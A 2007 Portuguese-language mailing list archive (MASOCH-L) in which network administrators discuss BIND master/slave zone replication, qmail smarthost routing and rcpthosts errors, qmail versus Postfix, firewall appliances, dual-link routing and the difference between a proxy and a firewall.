Message-ID: <2e98af190704160616l5f4383c5w6e37839ef917d15b@mail.gmail.com>

Bom dia a todos,

Tenho dois servidores DNS (master e slave) com centenas de zonas
criadas manualmente.
Considerando que todas as zonas s?o subdom?nios de um dom?nio
principal, teria como configurar o slave para refletir automaticamente
todas as configura??es do master?
Tanto configura??es internas de cada zona, como tamb?m cria??es de novas zonas.

-- 
Mauricio Bonani
LPIC-1
mailto:mbonani at gmail.com


From danton at inexo.com.br  Mon Apr 16 10:35:06 2007
From: danton at inexo.com.br (Lao DanTong)
Date: Mon, 16 Apr 2007 10:35:06 -0300 (BRT)
Subject: [MASOCH-L] =?iso-8859-1?q?DNS_slave_autom=E1tico?=
In-Reply-To: <2e98af190704160616l5f4383c5w6e37839ef917d15b@mail.gmail.com>
References: <2e98af190704160616l5f4383c5w6e37839ef917d15b@mail.gmail.com>
Message-ID: <Pine.LNX.4.60.0704161030240.24637@newquantum.inexo.com.br>

On Mon, 16 Apr 2007, Mauricio Bonani wrote:

> Bom dia a todos,
>
> Tenho dois servidores DNS (master e slave) com centenas de zonas
> criadas manualmente.
> Considerando que todas as zonas s?o subdom?nios de um dom?nio
> principal, teria como configurar o slave para refletir automaticamente
> todas as configura??es do master?

mas ? exatamente isso que se espera que o slave fa?a. no Bind existe um 
esquema de notifica??o, quando voce atualiza uma zona ele notifica o fato 
aos slaves para que eles copiem os dados. ? fundamental atualizar o n?mero 
de s?rie do soa porque ? atrav?s dele que o slave sabe que os dados foram 
atualizados.

H? servidores que n?o usam o xfer, notadamente o djbdns, nesse caso cada 
vez que atualizar um arquivo de zona, rsync o bicho para os servidores 
escravos.

> Tanto configura??es internas de cada zona, como tamb?m cria??es de novas 
> zonas.

a cria??o de nova zona ? mais complicado, pois o /etc/named.conf precisa 
ser atualizado, o que voce pode fazer usando scp, seguido de um 'rndc 
reconfig' no servidor escravo. tudo isso pode ser sistematizado em um 
script.



From mbonani at gmail.com  Mon Apr 16 10:45:30 2007
From: mbonani at gmail.com (Mauricio Bonani)
Date: Mon, 16 Apr 2007 10:45:30 -0300
Subject: [MASOCH-L] =?iso-8859-1?q?DNS_slave_autom=E1tico?=
In-Reply-To: <Pine.LNX.4.60.0704161030240.24637@newquantum.inexo.com.br>
References: <2e98af190704160616l5f4383c5w6e37839ef917d15b@mail.gmail.com>
	<Pine.LNX.4.60.0704161030240.24637@newquantum.inexo.com.br>
Message-ID: <2e98af190704160645m7b19f009sb8241a7b4092b7dc@mail.gmail.com>

Em 16/04/07, Lao DanTong<danton at inexo.com.br> escreveu:
> On Mon, 16 Apr 2007, Mauricio Bonani wrote:
>
> > Bom dia a todos,
> >
> > Tenho dois servidores DNS (master e slave) com centenas de zonas
> > criadas manualmente.
> > Considerando que todas as zonas s?o subdom?nios de um dom?nio
> > principal, teria como configurar o slave para refletir automaticamente
> > todas as configura??es do master?
>
> mas ? exatamente isso que se espera que o slave fa?a. no Bind existe um
> esquema de notifica??o, quando voce atualiza uma zona ele notifica o fato
> aos slaves para que eles copiem os dados. ? fundamental atualizar o n?mero
> de s?rie do soa porque ? atrav?s dele que o slave sabe que os dados foram
> atualizados.
>
> H? servidores que n?o usam o xfer, notadamente o djbdns, nesse caso cada
> vez que atualizar um arquivo de zona, rsync o bicho para os servidores
> escravos.
>
> > Tanto configura??es internas de cada zona, como tamb?m cria??es de novas
> > zonas.
>
> a cria??o de nova zona ? mais complicado, pois o /etc/named.conf precisa
> ser atualizado, o que voce pode fazer usando scp, seguido de um 'rndc
> reconfig' no servidor escravo. tudo isso pode ser sistematizado em um
> script.
>

Ent?o o mais certo seria colocar todos os subdom?nios numa ?nica zona?
O n?mero de entradas (centenas) nessa ?nica zona causaria alguma lentid?o?

-- 
Mauricio Bonani
LPIC-1
mailto:mbonani at gmail.com


From danton at inexo.com.br  Mon Apr 16 11:33:09 2007
From: danton at inexo.com.br (Lao DanTong)
Date: Mon, 16 Apr 2007 11:33:09 -0300 (BRT)
Subject: [MASOCH-L] =?iso-8859-1?q?DNS_slave_autom=E1tico?=
In-Reply-To: <2e98af190704160645m7b19f009sb8241a7b4092b7dc@mail.gmail.com>
References: <2e98af190704160616l5f4383c5w6e37839ef917d15b@mail.gmail.com>
	<Pine.LNX.4.60.0704161030240.24637@newquantum.inexo.com.br>
	<2e98af190704160645m7b19f009sb8241a7b4092b7dc@mail.gmail.com>
Message-ID: <Pine.LNX.4.60.0704161122240.5619@newquantum.inexo.com.br>

On Mon, 16 Apr 2007, Mauricio Bonani wrote:

> Ent?o o mais certo seria colocar todos os subdom?nios numa ?nica zona?
> O n?mero de entradas (centenas) nessa ?nica zona causaria alguma lentid?o?

Eu n?o disse nem sugeri isso. S? disse que se voc? quer automatizar a 
entrada de uma nova zona nova no servidor escravo n?o h? ferramentas 
internas ao bind para isso e uma boa sa?da ? scp/ssh para copiar o 
/etc/named.conf de escravo e executar um 'rndc reconfig'. de onde voc? 
tirou a id?ia de empacotar tudo em um s? arquivo?



From mbonani at gmail.com  Mon Apr 16 11:44:53 2007
From: mbonani at gmail.com (Mauricio Bonani)
Date: Mon, 16 Apr 2007 11:44:53 -0300
Subject: [MASOCH-L] =?iso-8859-1?q?DNS_slave_autom=E1tico?=
In-Reply-To: <Pine.LNX.4.60.0704161122240.5619@newquantum.inexo.com.br>
References: <2e98af190704160616l5f4383c5w6e37839ef917d15b@mail.gmail.com>
	<Pine.LNX.4.60.0704161030240.24637@newquantum.inexo.com.br>
	<2e98af190704160645m7b19f009sb8241a7b4092b7dc@mail.gmail.com>
	<Pine.LNX.4.60.0704161122240.5619@newquantum.inexo.com.br>
Message-ID: <2e98af190704160744y3d411b7dv4a7735f964340eb7@mail.gmail.com>

Entenda minha pergunta como uma possibilidade que nasceu na minha cabe?a mesmo.
N?o quis dizer que voc? sugeriu isso.

Em 16/04/07, Lao DanTong<danton at inexo.com.br> escreveu:
> On Mon, 16 Apr 2007, Mauricio Bonani wrote:
>
> > Ent?o o mais certo seria colocar todos os subdom?nios numa ?nica zona?
> > O n?mero de entradas (centenas) nessa ?nica zona causaria alguma lentid?o?
>
> Eu n?o disse nem sugeri isso. S? disse que se voc? quer automatizar a
> entrada de uma nova zona nova no servidor escravo n?o h? ferramentas
> internas ao bind para isso e uma boa sa?da ? scp/ssh para copiar o
> /etc/named.conf de escravo e executar um 'rndc reconfig'. de onde voc?
> tirou a id?ia de empacotar tudo em um s? arquivo?
>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>


-- 
Mauricio Bonani
LPIC-1
mailto:mbonani at gmail.com


From silvio.cesar at unigranrio.edu.br  Wed Apr 18 08:50:26 2007
From: silvio.cesar at unigranrio.edu.br (silvio.cesar at unigranrio.edu.br)
Date: Wed, 18 Apr 2007 08:50:26 -0300
Subject: [MASOCH-L] SmartHost no Qmail
Message-ID: <46260602.7060704@unigranrio.edu.br>

Bom dia pessoal,

H? a possibilidade de no arquivo de SmartHost do Qmail dizer que se for
para o dom?nio terra.com.br sair por outro servidor?

-- 
Att,

Silvio Cesar L. dos Santos
Analista de Redes Pleno
DTI - Divis?o de Tecnologia da Informa??o
UNIGRANRIO - Universidade do Grande Rio
+55 21 2672-7720
silviocesar at unigranrio.edu.br
http://www.unigranrio.edu.br


From lyra at pop-pr.rnp.br  Wed Apr 18 08:54:48 2007
From: lyra at pop-pr.rnp.br (Christian Lyra)
Date: Wed, 18 Apr 2007 08:54:48 -0300
Subject: [MASOCH-L] SmartHost no Qmail
In-Reply-To: <46260602.7060704@unigranrio.edu.br>
References: <46260602.7060704@unigranrio.edu.br>
Message-ID: <ff07fffe0704180454x42d337d4ha4437e8e0d6bf3c2@mail.gmail.com>

sim... vc vai ter que colocar isso no arquivo smtproutes:

terra.com.br:<servidor de saida>

On 4/18/07, silvio.cesar at unigranrio.edu.br
<silvio.cesar at unigranrio.edu.br> wrote:
> Bom dia pessoal,
>
> H? a possibilidade de no arquivo de SmartHost do Qmail dizer que se for
> para o dom?nio terra.com.br sair por outro servidor?
>
> --
> Att,
>
> Silvio Cesar L. dos Santos
> Analista de Redes Pleno
> DTI - Divis?o de Tecnologia da Informa??o
> UNIGRANRIO - Universidade do Grande Rio
> +55 21 2672-7720
> silviocesar at unigranrio.edu.br
> http://www.unigranrio.edu.br
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>


-- 
Christian Lyra
PoP-PR/RNP


From raphaelbscosta at gmail.com  Wed Apr 18 08:57:51 2007
From: raphaelbscosta at gmail.com (Raphael Bittencourt S. Costa)
Date: Wed, 18 Apr 2007 08:57:51 -0300
Subject: [MASOCH-L] SmartHost no Qmail
In-Reply-To: <46260602.7060704@unigranrio.edu.br>
References: <46260602.7060704@unigranrio.edu.br>
Message-ID: <1176897471.7798.44.camel@inuyasha>

terra.com.br:ipdoservidor ?
Tem um tempo que nao uso qmail, gracas a Deus, mas acho que ? assim. :-D


On Wed, 2007-04-18 at 08:50 -0300, silvio.cesar at unigranrio.edu.br wrote:

> Bom dia pessoal,
> 
> H? a possibilidade de no arquivo de SmartHost do Qmail dizer que se for
> para o dom?nio terra.com.br sair por outro servidor?
> 


From aquino at ecosistemas.com.br  Wed Apr 18 09:08:33 2007
From: aquino at ecosistemas.com.br (Lucio de Aquino Marinho)
Date: Wed, 18 Apr 2007 09:08:33 -0300
Subject: [MASOCH-L] SmartHost no Qmail
In-Reply-To: <1176897471.7798.44.camel@inuyasha>
References: <46260602.7060704@unigranrio.edu.br>
	<1176897471.7798.44.camel@inuyasha>
Message-ID: <46260A41.3040404@ecosistemas.com.br>

N?o entendi o Gra?as a Deus :

 Sem flames eheheh

Lucio

Raphael Bittencourt S. Costa escreveu:
> terra.com.br:ipdoservidor ?
> Tem um tempo que nao uso qmail, gracas a Deus, mas acho que ? assim. :-D
>
>
> On Wed, 2007-04-18 at 08:50 -0300, silvio.cesar at unigranrio.edu.br wrote:
>
>   
>> Bom dia pessoal,
>>
>> H? a possibilidade de no arquivo de SmartHost do Qmail dizer que se for
>> para o dom?nio terra.com.br sair por outro servidor?
>>
>>     
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>   



From raphaelbscosta at gmail.com  Wed Apr 18 09:16:21 2007
From: raphaelbscosta at gmail.com (Raphael Bittencourt S. Costa)
Date: Wed, 18 Apr 2007 09:16:21 -0300
Subject: [MASOCH-L] SmartHost no Qmail
In-Reply-To: <46260A41.3040404@ecosistemas.com.br>
References: <46260602.7060704@unigranrio.edu.br>
	<1176897471.7798.44.camel@inuyasha>
	<46260A41.3040404@ecosistemas.com.br>
Message-ID: <1176898581.7798.49.camel@inuyasha>

Digamos que minha vida mudou depois do Postfix.

On Wed, 2007-04-18 at 09:08 -0300, Lucio de Aquino Marinho wrote:

> N?o entendi o Gra?as a Deus :
> 
>  Sem flames eheheh
> 
> Lucio
> 
> Raphael Bittencourt S. Costa escreveu:
> > terra.com.br:ipdoservidor ?
> > Tem um tempo que nao uso qmail, gracas a Deus, mas acho que ? assim. :-D
> >
> >
> > On Wed, 2007-04-18 at 08:50 -0300, silvio.cesar at unigranrio.edu.br wrote:
> >
> >   
> >> Bom dia pessoal,
> >>
> >> H? a possibilidade de no arquivo de SmartHost do Qmail dizer que se for
> >> para o dom?nio terra.com.br sair por outro servidor?
> >>
> >>     
> > __
> > masoch-l list
> > https://eng.registro.br/mailman/listinfo/masoch-l
> >   
> 
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l


From danton at inexo.com.br  Wed Apr 18 09:18:10 2007
From: danton at inexo.com.br (Lao DanTong)
Date: Wed, 18 Apr 2007 09:18:10 -0300 (BRT)
Subject: [MASOCH-L] SmartHost no Qmail
In-Reply-To: <46260602.7060704@unigranrio.edu.br>
References: <46260602.7060704@unigranrio.edu.br>
Message-ID: <Pine.LNX.4.60.0704180917520.23841@newquantum.inexo.com.br>

On Wed, 18 Apr 2007, silvio.cesar at unigranrio.edu.br wrote:

> Bom dia pessoal,
>
> H? a possibilidade de no arquivo de SmartHost do Qmail dizer que se for
> para o dom?nio terra.com.br sair por outro servidor?

/var/qmail/control/smtproutes


From silvio.cesar at unigranrio.edu.br  Wed Apr 18 09:25:28 2007
From: silvio.cesar at unigranrio.edu.br (silvio.cesar at unigranrio.edu.br)
Date: Wed, 18 Apr 2007 09:25:28 -0300
Subject: [MASOCH-L] SmartHost depende do RCPTHOSTS
In-Reply-To: <46260A41.3040404@ecosistemas.com.br>
References: <46260602.7060704@unigranrio.edu.br><1176897471.7798.44.camel@in	uyasha>
	<46260A41.3040404@ecosistemas.com.br>
Message-ID: <46260E38.4060107@unigranrio.edu.br>

SmartHost depende do RCPTHOSTS ?

Pergunto isso pois o Qmail reclamou o seguinte

<dsfdfsd at terra.com.br>:
10.0.9.105 does not like recipient.
Remote host said: 553 sorry, that domain isn't in my list of allowed
rcpthosts (#5.7.1)
Giving up on 10.0.9.105.

Att,

Silvio Cesar L. dos Santos
Analista de Redes Pleno
DTI - Divis?o de Tecnologia da Informa??o
UNIGRANRIO - Universidade do Grande Rio
+55 21 2672-7720
silviocesar at unigranrio.edu.br
http://www.unigranrio.edu.br


Lucio de Aquino Marinho escreveu:
> N?o entendi o Gra?as a Deus :
> 
>  Sem flames eheheh
> 
> Lucio
> 
> Raphael Bittencourt S. Costa escreveu:
>> terra.com.br:ipdoservidor ?
>> Tem um tempo que nao uso qmail, gracas a Deus, mas acho que ? assim. :-D
>>
>>
>> On Wed, 2007-04-18 at 08:50 -0300, silvio.cesar at unigranrio.edu.br wrote:
>>
>>   
>>> Bom dia pessoal,
>>>
>>> H? a possibilidade de no arquivo de SmartHost do Qmail dizer que se for
>>> para o dom?nio terra.com.br sair por outro servidor?
>>>
>>>     
>> __
>> masoch-l list
>> https://eng.registro.br/mailman/listinfo/masoch-l
>>   
> 
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l


From santos at radiante.com.br  Wed Apr 18 11:30:23 2007
From: santos at radiante.com.br (J. Santos)
Date: Wed, 18 Apr 2007 11:30:23 -0300
Subject: [MASOCH-L] Equipamentos Firewall - AV - VPN integrados
In-Reply-To: <46260E38.4060107@unigranrio.edu.br>
References: <46260602.7060704@unigranrio.edu.br><1176897471.7798.44.camel@in	uyasha>	<46260A41.3040404@ecosistemas.com.br>
	<46260E38.4060107@unigranrio.edu.br>
Message-ID: <46262B7F.4020208@radiante.com.br>

Bom dia,

Uma empresa apresentou uma proposta de troca dos firewalls linux por
produtos chamados por eles de "Firebox", que eu particularmente n?o
conhecia.

http://www.fortinet.com/products/enterprise.html

Gostaria de pedir coment?rios de quem usa e se recomenda.

Abra?os,
-- 
Santos
Radiante Eng Telecom Ltda
41 3311 9470


From silvio.cesar at unigranrio.edu.br  Wed Apr 18 11:41:18 2007
From: silvio.cesar at unigranrio.edu.br (silvio.cesar at unigranrio.edu.br)
Date: Wed, 18 Apr 2007 11:41:18 -0300
Subject: [MASOCH-L] Equipamentos Firewall - AV - VPN integrados
In-Reply-To: <46262B7F.4020208@radiante.com.br>
References: <46260602.7060704@unigranrio.edu.br><1176897471.7798.44.camel@in		uyasha>	<46260A41.3040404@ecosistemas.com.br><46260E38.4060107@unigranrio.	edu.br>
	<46262B7F.4020208@radiante.com.br>
Message-ID: <46262E0E.50500@unigranrio.edu.br>

Minha vis?o:



Seu firewall est? apresentando problemas ?

Existe alguma previs?o de modifica??o na sua estrutura que possa vir a
aumentar a carga no seu firewall ?

Voc? confia no conjunto do seu firewall(softwares e hardwares) ?


Se as respostas forem n?o, deixo a seguinte frase:

"Time que est? ganhando n?o se mexe".



Att,

Silvio Cesar L. dos Santos
Analista de Redes Pleno
DTI - Divis?o de Tecnologia da Informa??o
UNIGRANRIO - Universidade do Grande Rio
+55 21 2672-7720
silviocesar at unigranrio.edu.br
http://www.unigranrio.edu.br


J. Santos escreveu:
> Bom dia,
> 
> Uma empresa apresentou uma proposta de troca dos firewalls linux por
> produtos chamados por eles de "Firebox", que eu particularmente n?o
> conhecia.
> 
> http://www.fortinet.com/products/enterprise.html
> 
> Gostaria de pedir coment?rios de quem usa e se recomenda.
> 
> Abra?os,


From edison at coslinux.com.br  Wed Apr 18 12:15:29 2007
From: edison at coslinux.com.br (Edison Bortolin)
Date: Wed, 18 Apr 2007 08:15:29 -0700
Subject: [MASOCH-L] roteamento
Message-ID: <46263611.1080101@coslinux.com.br>

Ol? pessoal,

Preciso interligar duas empresas.

Em cada empresa, j? existe uma solu??o ADSL e uma LP.

O ADSL ? principalmente utilizado como redund?ncia da LP, atrav?s de uma 
VPN, mas eventualmente tamb?m pode ser utilizado para transmitir algum 
servi?o espec?fico, como por exemplo, terminal server.

Se houver problema com a LP, todo o tr?fego ? direcionado para o ADSL.

Tanto o ADSL quanto a LP chegam at? um servidor com Linux instalado. 
Exemplo:

Servidor da Empresa 1
rede: 192.168.0.0/24
ip: 192.168.0.1
ip vpn: 10.0.0.1

Servidor da Empresa 2
rede: 192.168.1.0/24
ip: 192.168.1.1
ip vpn: 10.0.0.2

Com isso, ? poss?vel atingir as redes por duas rotas distintas.

Haver? situa??es onde todo o tr?fego ocorrer? pela VPN, outras situa??es 
onde ocorrer? pelas duas vias, mas normalmente ocorrer? pela LP.

Qual ? a melhor maneira ou solu??o para esse cen?rio?

Qualquer ajuda ? bem vinda.

Obrigado

Edison


From aquino at ecosistemas.com.br  Wed Apr 18 12:53:08 2007
From: aquino at ecosistemas.com.br (Lucio de Aquino Marinho)
Date: Wed, 18 Apr 2007 12:53:08 -0300
Subject: [MASOCH-L] SmartHost no Qmail
In-Reply-To: <1176897471.7798.44.camel@inuyasha>
References: <46260602.7060704@unigranrio.edu.br>
	<1176897471.7798.44.camel@inuyasha>
Message-ID: <46263EE4.1060107@ecosistemas.com.br>

Bom dia Rafael e amigos da Lista ,

   Eu uso o qmail ha um bom tempo , e tenho escolhido ele por algumas 
facilidades que tenho tido com ele , o postfix ? t?o bom assim ? 
gostaria de conhecer


Algumas coisas boas no qmail

1 - Administra??o com o qmailadmin
2 - Multidominio com o vpopmail
3 - Imap e pop 3 ,
4- smtp autenticado
5-  Integra??o via patch com spamassassin e fprot ,
6- Logs a vontade para verificar , entrada e saidas
7- checagem de usuarios na entrada
8- whitelist , grey list , black list
9 - graficos com o mrtg
10 - Base de dados no mysql , entre outros

Algumas coisas ruims

1 - Instala??o dificil , Nunca fica igualzinho , um saco
2 -  ..

N?o me lmebro de outras coisas agora , mas superada a instala??o 
funciona beleza ,,

  Vamos trocar umas impressoes sobre isso

Atenciosamente
Lucio





Raphael Bittencourt S. Costa escreveu:
> terra.com.br:ipdoservidor ?
> Tem um tempo que nao uso qmail, gracas a Deus, mas acho que ? assim. :-D
>
>
> On Wed, 2007-04-18 at 08:50 -0300, silvio.cesar at unigranrio.edu.br wrote:
>
>   
>> Bom dia pessoal,
>>
>> H? a possibilidade de no arquivo de SmartHost do Qmail dizer que se for
>> para o dom?nio terra.com.br sair por outro servidor?
>>
>>     
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>   



From raphaelbscosta at gmail.com  Wed Apr 18 12:56:36 2007
From: raphaelbscosta at gmail.com (Raphael Bittencourt S. Costa)
Date: Wed, 18 Apr 2007 12:56:36 -0300
Subject: [MASOCH-L] SmartHost depende do RCPTHOSTS
In-Reply-To: <46260E38.4060107@unigranrio.edu.br>
References: <46260602.7060704@unigranrio.edu.br>
	<1176897471.7798.44.camel@in	uyasha>
	<46260A41.3040404@ecosistemas.com.br>
	<46260E38.4060107@unigranrio.edu.br>
Message-ID: <1176911796.7798.70.camel@inuyasha>


Se o destino nao e local, seu client tem que ter permissao de envio. Que
tal /etc/tcp.smtpd?

On Wed, 2007-04-18 at 09:25 -0300, silvio.cesar at unigranrio.edu.br wrote:

> SmartHost depende do RCPTHOSTS ?
> 
> Pergunto isso pois o Qmail reclamou o seguinte
> 
> <dsfdfsd at terra.com.br>:
> 10.0.9.105 does not like recipient.
> Remote host said: 553 sorry, that domain isn't in my list of allowed
> rcpthosts (#5.7.1)
> Giving up on 10.0.9.105.
> 
> Att,
> 
> Silvio Cesar L. dos Santos
> Analista de Redes Pleno
> DTI - Divis?o de Tecnologia da Informa??o
> UNIGRANRIO - Universidade do Grande Rio
> +55 21 2672-7720
> silviocesar at unigranrio.edu.br
> http://www.unigranrio.edu.br
> 
> 
> Lucio de Aquino Marinho escreveu:
> > N?o entendi o Gra?as a Deus :
> > 
> >  Sem flames eheheh
> > 
> > Lucio
> > 
> > Raphael Bittencourt S. Costa escreveu:
> >> terra.com.br:ipdoservidor ?
> >> Tem um tempo que nao uso qmail, gracas a Deus, mas acho que ? assim. :-D
> >>
> >>
> >> On Wed, 2007-04-18 at 08:50 -0300, silvio.cesar at unigranrio.edu.br wrote:
> >>
> >>   
> >>> Bom dia pessoal,
> >>>
> >>> H? a possibilidade de no arquivo de SmartHost do Qmail dizer que se for
> >>> para o dom?nio terra.com.br sair por outro servidor?
> >>>
> >>>     
> >> __
> >> masoch-l list
> >> https://eng.registro.br/mailman/listinfo/masoch-l
> >>   
> > 
> > __
> > masoch-l list
> > https://eng.registro.br/mailman/listinfo/masoch-l
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l


From silvio.cesar at unigranrio.edu.br  Wed Apr 18 13:26:56 2007
From: silvio.cesar at unigranrio.edu.br (silvio.cesar at unigranrio.edu.br)
Date: Wed, 18 Apr 2007 13:26:56 -0300
Subject: [MASOCH-L] SmartHost depende do RCPTHOSTS
In-Reply-To: <1176911796.7798.70.camel@inuyasha>
References: <46260602.7060704@unigranrio.edu.br><1176897471.7798.44.camel@in		uyasha><46260A41.3040404@ecosistemas.com.br><46260E38.4060107@unigranrio.e	du.br>
	<1176911796.7798.70.camel@inuyasha>
Message-ID: <462646D0.10209@unigranrio.edu.br>

Blz,

Fiz um lance meio louco aqui e funcionou.

/etc/tcp.smtpd ? apenas pra autorizar open relay.

No servidor MX do meu dom?nio coloquei uma entrada smarthost de
terra.com.br:mx.terra.com.br e antes tinha incluso terra.com.br em
rcpthost de outro servidor de e-mail fazendo o smarthost de
terra.com.br:200.20.111.10.

Estou saindo email de um "qmail_relay" para 200.20.111.10 via smarthost
e este ?ltimo entrega para o mx.terra.com.br.

O 200.20.111.10 reclamou que n?o tinha o terra.com.br.

Sem isso(terra.com.br:mx.terra.com.br) no 200.20.111.10, o qmail dizia
que n?o tinha terra.com.br em rcpthosts e retornava o e-mail. Ent?o
tomei o caminho citado acima e aparentemente sairam da fila e n?o
voltaram, os que voltaram foram testes de user unknown vindos de
200.154.55.2(mx.terra.com.br).

Que malabarismo... pro Terra receber os e-mails.

E olha que o servidor qmail_relay funciona normal para os demais dom?nios...

A? fica a pergunta: Qual ? a sua terra?

;-)

Att,

Silvio Cesar L. dos Santos
Analista de Redes Pleno
DTI - Divis?o de Tecnologia da Informa??o
UNIGRANRIO - Universidade do Grande Rio
+55 21 2672-7720
silviocesar at unigranrio.edu.br
http://www.unigranrio.edu.br


Raphael Bittencourt S. Costa escreveu:
> Se o destino nao e local, seu client tem que ter permissao de envio. Que
> tal /etc/tcp.smtpd?
> 
> On Wed, 2007-04-18 at 09:25 -0300, silvio.cesar at unigranrio.edu.br wrote:
> 
>> SmartHost depende do RCPTHOSTS ?
>>
>> Pergunto isso pois o Qmail reclamou o seguinte
>>
>> <dsfdfsd at terra.com.br>:
>> 10.0.9.105 does not like recipient.
>> Remote host said: 553 sorry, that domain isn't in my list of allowed
>> rcpthosts (#5.7.1)
>> Giving up on 10.0.9.105.
>>
>> Att,
>>
>> Silvio Cesar L. dos Santos
>> Analista de Redes Pleno
>> DTI - Divis?o de Tecnologia da Informa??o
>> UNIGRANRIO - Universidade do Grande Rio
>> +55 21 2672-7720
>> silviocesar at unigranrio.edu.br
>> http://www.unigranrio.edu.br
>>
>>
>> Lucio de Aquino Marinho escreveu:
>>> N?o entendi o Gra?as a Deus :
>>>
>>>  Sem flames eheheh
>>>
>>> Lucio
>>>
>>> Raphael Bittencourt S. Costa escreveu:
>>>> terra.com.br:ipdoservidor ?
>>>> Tem um tempo que nao uso qmail, gracas a Deus, mas acho que ? assim. :-D
>>>>
>>>>
>>>> On Wed, 2007-04-18 at 08:50 -0300, silvio.cesar at unigranrio.edu.br wrote:
>>>>
>>>>   
>>>>> Bom dia pessoal,
>>>>>
>>>>> H? a possibilidade de no arquivo de SmartHost do Qmail dizer que se for
>>>>> para o dom?nio terra.com.br sair por outro servidor?
>>>>>
>>>>>     
>>>> __
>>>> masoch-l list
>>>> https://eng.registro.br/mailman/listinfo/masoch-l
>>>>   
>>> __
>>> masoch-l list
>>> https://eng.registro.br/mailman/listinfo/masoch-l
>> __
>> masoch-l list
>> https://eng.registro.br/mailman/listinfo/masoch-l
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l


From welliton at infonet.com.br  Wed Apr 18 13:30:08 2007
From: welliton at infonet.com.br (Welliton =?iso-8859-1?b?U+E=?=)
Date: Wed, 18 Apr 2007 13:30:08 -0300
Subject: [MASOCH-L] Conceito de Proxy
Message-ID: <20070418133008.1v98ao3a0wc0w0ko@horde.infonet.com.br>

Prezados,

em prova de concurso p?blico recente, foi apresentada a seguinte afirmativa:

"Proxy nada mais ? do que um firewall de controle
de aplica??es, tais como SMTP, FTP, HTTP e
outras."

e essa afirmativa foi tida como verdadeira. Me corrijam se eu estiver  
errado, mas as fun??es de um proxy e de um firewall s?o bem definidas  
e distintas. Correto?



Atenciosamente,


Welliton S?




From raphaelbscosta at gmail.com  Wed Apr 18 13:37:58 2007
From: raphaelbscosta at gmail.com (Raphael Bittencourt S. Costa)
Date: Wed, 18 Apr 2007 13:37:58 -0300
Subject: [MASOCH-L] SmartHost no Qmail
In-Reply-To: <46263EE4.1060107@ecosistemas.com.br>
References: <46260602.7060704@unigranrio.edu.br>
	<1176897471.7798.44.camel@inuyasha>
	<46263EE4.1060107@ecosistemas.com.br>
Message-ID: <1176914278.7798.90.camel@inuyasha>

On Wed, 2007-04-18 at 12:53 -0300, Lucio de Aquino Marinho wrote:

> Bom dia Rafael e amigos da Lista ,
> 
>    Eu uso o qmail ha um bom tempo , e tenho escolhido ele por algumas 
> facilidades que tenho tido com ele , o postfix ? t?o bom assim ? 
> gostaria de conhecer
> 
> 
> Algumas coisas boas no qmail
> 
> 1 - Administra??o com o qmailadmin

postfixadmin

> 2 - Multidominio com o vpopmail

Multidominio.

> 3 - Imap e pop 3 ,

Courier, dovecot, etc. ? s? escolher.

> 4- smtp autenticado

http://www.postfix.org/SASL_README.html

> 5-  Integra??o via patch com spamassassin e fprot ,

A integracao com o spamassassin pode ser feita de v?rias formas, e o
melhor, sem patchs.

> 6- Logs a vontade para verificar , entrada e saidas

Isso pq voce nao viu os do postfix. 
Apr 18 12:56:49 mx01 postfix/smtpd[11750]: CADDE3093F:
client=reverso[200.xx.xx.xx.xx]
Apr 18 12:56:50 mx01 postfix/cleanup[11607]: CADDE3093F:
message-id=<200704181609.l3IG9hL10141 at mail.xxxxxx>
Apr 18 13:01:59 mx01 postfix/qmgr[13619]: CADDE3093F:
from=<xxxx at xxxx.xx>, size=4235, nrcpt=1 (queue active)
Apr 18 13:02:00 mx01 postfix/smtp[13655]: CADDE3093F:
to=<xxxx.xxxx at xxxxxx.com.br>, relay=127.0.0.1[127.0.0.1]:10020,
conn_use=3, delay=311, delays=309/1/0/0.28, dsn=2.0.0, status=sent (250
2.0.0 Ok: queued as CFC903087E)
Apr 18 13:02:00 mx01 postfix/qmgr[13619]: CADDE3093F: removed

Olha que maneiro:

Apr 18 13:24:48 mx01 postfix/smtpd[13609]: NOQUEUE: reject: RCPT from
reverso[200.xxx1xx08.1xx]: 554 5.7.1 <hellodospammer>: Helo command
rejected: IP Rejeitado devido a SPAM; from=<envio at xxxx.com.br>
to=<vendas at xxxxx.com.br> proto=ESMTP helo=<hellodospammer>





> 7- checagem de usuarios na entrada

Postfix faz sem patch.

> 8- whitelist , grey list , black list

smtpd_restrictions. 

> 9 - graficos com o mrtg

:-D

> 10 - Base de dados no mysql , entre outros

Mapas em mysql, postgres, cdb, hash, ldap e pcre. 

> 
> Algumas coisas ruims

Desconhe?o. Se alguem souber de alguma...

> 
> 1 - Instala??o dificil , Nunca fica igualzinho , um saco
> 2 -  ..
> 
> N?o me lmebro de outras coisas agora , mas superada a instala??o 
> funciona beleza ,,
> 
>   Vamos trocar umas impressoes sobre isso
> 
> Atenciosamente
> Lucio
> 
> 
> 
> 
> 
> Raphael Bittencourt S. Costa escreveu:
> > terra.com.br:ipdoservidor ?
> > Tem um tempo que nao uso qmail, gracas a Deus, mas acho que ? assim. :-D
> >
> >
> > On Wed, 2007-04-18 at 08:50 -0300, silvio.cesar at unigranrio.edu.br wrote:
> >
> >   
> >> Bom dia pessoal,
> >>
> >> H? a possibilidade de no arquivo de SmartHost do Qmail dizer que se for
> >> para o dom?nio terra.com.br sair por outro servidor?
> >>
> >>     
> > __
> > masoch-l list
> > https://eng.registro.br/mailman/listinfo/masoch-l
> >   
> 
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l


From MBORBA at trf3.gov.br  Wed Apr 18 13:41:23 2007
From: MBORBA at trf3.gov.br (MARLON BORBA)
Date: Wed, 18 Apr 2007 13:41:23 -0300
Subject: [MASOCH-L] Conceito de Proxy
Message-ID: <s626203b.058@server-trf8.trf3.gov.br>

Essa afirma??o, como diria o Danton, misturou alhos com bugalhos. Ambos t?m, de fato, fun??es completamente distintas.



Abra?os,

Marlon Borba, CISSP, APC DataCenter Associate
T?cnico Judici?rio - Seguran?a da Informa??o
TRF 3? Regi?o
(11) 3012-1683
--
Seguran?a ? um processo, n?o um produto.
(Bruce Schneier)
--

